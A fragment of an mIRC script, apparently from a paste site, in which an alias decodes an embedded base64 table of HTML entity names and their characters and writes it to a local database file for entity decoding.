psOmFycg0K4oeQDQpndHJlcWxlc3MNCuKLmw0KdmFya2FwcGENCs+wDQppdGlsZGUNCsSpDQo6dDpzOmhjeQ0K0IsNCjpsb25nOnJpZ2h0OmFycm93DQrin7YNCnJhcnJiZnMNCuKkoA0KOmNsb3NlOmN1cmx5OnF1b3RlDQrigJkNCmRsY3JvcA0K4oyNDQpucnRyaWUNCuKLrQ0KYmlndHJpYW5nbGV1cA0K4pazDQo6dmVydGljYWw6bGluZQ0KfA0KeGw6YXJyDQrin7gNCmIuOnRoZXRhDQrtmq8NCjpsZXNzOmdyZWF0ZXINCuKJtg0KY3VydmVhcnJvd2xlZnQNCuKGtg0KbjpsdHYNCuKJqsy4DQpiLnBzaQ0K7ZuZDQpyOmhhcg0K4qWkDQpkb2xsYXINCiQNCjpzcXVhcmU6c3VwZXJzZXQNCuKKkA0KcjphcnINCuKHkg0KY2lyY2xlYXJyb3dsZWZ0DQrihroNCmdlc2RvdA0K4qqADQpsbmFwcHJveA0K4qqJDQo6cHJvcG9ydGlvbmFsDQriiJ0NCmh5cGhlbg0K4oCQDQpwZXJ0ZW5rDQrigLENCmJhY2twcmlt
  3015.   [ [ %c ] ] ZQ0K4oC1DQpiZWNhdXMNCuKItQ0KOm5vdDp0aWxkZTpmdWxsOmVxdWFsDQriiYcNCjp1cDphcnJvdzpiYXINCuKkkg0KYmxhY2t0cmlhbmdsZWRvd24NCuKWvg0KOnVwZG93bmFycm93DQrih5UNCjpuZXN0ZWQ6Z3JlYXRlcjpncmVhdGVyDQriiasNCmVtc3AxMw0K4oCEDQo6c21hbGw6Y2lyY2xlDQriiJgNCnY6YmFydg0K4qupDQplbXNwMTQNCuKAhQ0KOnVwcGVyOmxlZnQ6YXJyb3cNCuKGlg0KcmlnaHRoYXJwb29udXANCuKHgA0KOm5vdDpsZXNzOmdyZWF0ZXINCuKJuA0KOnRpbGRlOnRpbGRlDQriiYgNCjpub3Q6Y3VwOmNhcA0K4omtDQo6czpoOmM6aGN5DQrQqQ0KYi5nYW1tYWQNCu2fiw0KOmxlc3M6ZXF1YWw6Z3JlYXRlcg0K4ouaDQpuYXR1cmFscw0K4oSVDQp0aGV0YXN5bQ0Kz5ENCjptZWRpdW06c3BhY2UNCuKBnw0KbGVmdGFycm93DQrihpANCnVsY29ybmVyDQrijJwNCjpub246YnJlYWtpbmc6c3BhY2UNCsKgDQo6b3BlbjpjdXJseTpkb3VibGU6cXVvdGUNCuKAnA0KcmRsZGhhcg0K4qWpDQpjdXJseWVxcHJlYw0K4oueDQp2OmRhc2gNCuKKqA0KY3VybHllcXN1Y2MNCuKLnw0KYi46c2lnbWENCu2aug0KdHJpbWludXMNCuKoug0KOnVwYXJyb3cNCuKHkQ0KYi46eGkNCu2atQ0KdjphcnINCuKHlQ0KOnByb3BvcnRpb24NCuKItw0KOmNpcmNsZTptaW51cw0K4oqWDQo6bm90OmRvdWJsZTp2ZXJ0aWNhbDpiYXINCuKIpg0KOm5vdDpyZXZlcnNlOmVsZW1lbnQNCuKIjA0KbGVxc2xhbnQNCuKpvQ0KcnRyaWx0cmkNCuKnjg0KYi46cGkNCu2atw0KbGVmdHJpZ2h0c3F1aWdhcnJvdw0K4oatDQpiYWNrZXBzaWxvbg0Kz7YNCmNvbXBsZW1lbnQNCuKIgQ0KbTpkOmRvdA0K4oi6DQo6ZXF1aWxpYnJpdW0NCuKHjA0KOnNxdWFyZTp1bmlvbg0K4oqUDQo6dGlsZGU6ZXF1YWwNCuKJgw0KYi46cHNpDQrtmr8NCnY6YmFyDQriq6gNCjpkb3VibGU6bGVmdDpyaWdodDphcnJvdw0K4oeUDQo6cm91bmQ6aW1wbGllcw0K4qWwDQo6c2hvcnQ6bGVmdDphcnJvdw0K4oaQDQpiaWdvcGx1cw0K4qiBDQpkb3RtaW51cw0K4oi4DQp1Omhhcg0K4qWjDQpiLjpwaGkNCu2avQ0KYmFja3NpbWVxDQrii40NCnU6YXJyDQrih5ENCmhvb2tyaWdodGFycm93DQrihqoNCjpmb3VyaWVydHJmDQrihLENCg==
  3016.   if (!$decode(&db,mb)) { return }
  3017.   if ($fopen(wmm_html_entities_decode_db)) { .fclose wmm_html_entities_decode_db }
  3018.   .fopen -on wmm_html_entities_decode_db $qt($wmm_temp $+ wmm_html.db)
  3019.   .fwrite -b wmm_html_entities_decode_db &db
  3020.   .fclose wmm_html_entities_decode_db
  3021.   return 1
  3022.   :error | wmm_werror $scriptline $error | reseterror
  3023. }
  3024.  
  3025. ; --- End of other aliases ---
  3026.  
  3027. ; ------------------------------------------------------------------------------ EOF ------------------------------------------------------------------------------
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement